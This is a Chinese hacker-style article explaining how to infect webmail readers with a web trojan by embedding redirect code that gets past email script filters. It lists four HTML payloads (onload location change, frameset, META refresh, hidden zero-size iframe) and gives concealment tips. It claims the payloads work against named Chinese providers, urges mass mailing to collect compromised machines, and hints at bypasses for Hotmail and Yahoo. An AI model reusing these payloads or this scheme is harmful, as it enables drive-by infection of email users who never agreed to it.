大家肯定对网页木马已经很熟悉了,但大家可能对邮件网页木马还不是很熟悉。一般的网页木马都用到javasccript,但绝大部分邮件系统都对
<script>标记作了屏蔽。从而我们只能另辟新法。我们可以不直接将网页木马的代码写入邮件中,因为如果写入的话,有关代码会被屏蔽,网页木马将失效。我们可以写入转向代码,使用户浏览此邮件时转向我们放在自己网站上的网页木马。当然,邮件网页木马的难点就在转向代码。写转向代码要有讲究,因为写得不巧妙的话,代码将会被邮件系统屏蔽。
下面笔者来谈谈几种有效的可以在电子邮件中引入网页木马的且没被邮件服务器屏蔽的转向代码。因为绝大部分邮件系统都对<script>标记作了屏蔽,所以为了转向代码有效,均不使用JS和VBS标记。
1. window.location 法,代码如下
<body onload="window.location='http://xxxxx';"></body>
2. 框架法,代码如下
<frameset cols="100%,*">
<frame src=http://xxxxx scrolling="auto">
</frameset>
其中scrolling参数值得注意,合理使用可加强隐蔽性。Cols参数可根据自己的实际情况作更改。
3. META标志法,代码如下
<META HTTP-EQUIV="Refresh" CONTENT="0;URL= http://xxxxx">
其中CONTENT后面的阿拉伯数字是代表过几秒中钟转入目标网页。
4. iframe内帧法
<iframe src=http://xxxxx width="0" height="0" frameborder="0">
其中width="0" height="0"是引入网页的大小尺寸,可以根据你的实际需要加以调整。其中的frameborder参数也很重要,如果使用的恰当的话,可以增强邮件网页木马的隐蔽性。为了大家看的清楚,我将widt和height均设置的非零数值,转向的是**的首页(如果转向的是放在自己网站上的网页木马,呵呵......)。
大家由上面两幅图即可知道,如果设置为frameborder=1,邮件中可看见邮件服务器自动加带的页脚广告。而设置为frameborder=0,则如图2所示,它不像普通的信件一样看见邮件服务器自动加带的广告。大家可根据具体情况选择frameborder参数来获得最好的伪装引入效果,使对方感觉不到他所浏览的邮件是已经转向到你的网站上的网页木马。
上述代码笔者已经对国内的几乎所有电子信箱作了测试,如网易,搜狐,新浪,亿唐,21CN,TOM等等。以上四种方法各有千秋。第一种方法的适应范围最小。比如网易、亿唐都屏蔽了它。但第2、3、4方法在国内的信箱测试中均通过。尤其第2、3种方法几乎百试百灵。当然第4种方法也很经典,参数多,隐蔽性强。大家可根据不同的目标信箱选择最有效的转向引入代码。
现在只要大家会制作网页木马(关于网页木马木马的制作方法,大家可以参见以往的黑防),拥有了性能优秀的后门程序或木马程序,再配合本文所讲的邮件木马引入技术的话,贪心的再来个邮件群发,呵呵,你必将为所欲为,肉鸡成群。而且,这种方法具有攻击目标可指定性的优点!一场暴风雪即将来临!大家以后还是少在公开场合公布信箱哟!当然,稳妥的措施是邮件服务器实行严格个代码过滤,用户将邮件查看方式设置为以文本方式查看!
后记:笔者顺便还对几个国外著名的邮箱:hotmail以及Yahoo作了测试,发现它们过滤得都非常严格。上述的4种方法的代码都被过滤了。此时我深感国内邮件提供商与国外的差距。安全观念的差距!但hotmail以及Yahoo并不是固若金汤。以色列网络安全公司GreyMagic Software已经发现hotmail以及Yahoo邮箱也存在过滤不严的漏洞。我们可以用同步多媒体集成语言的(SMIL)的HTML+TIME技术来突破屏蔽,实现转向引入网页木马的目的。庆幸的是此漏洞最近已经被hotmail以及Yahoo修补。但国内的几乎所有电子信箱均存在此漏洞。当然深爱钻研技术的你肯定会问,现在是否有针对hotmail以及Yahoo邮箱的有效的转向引入代码。答案是肯定的!这个问题留给大家思考,大家可以向xml方向去发散,相信你一定会找到的!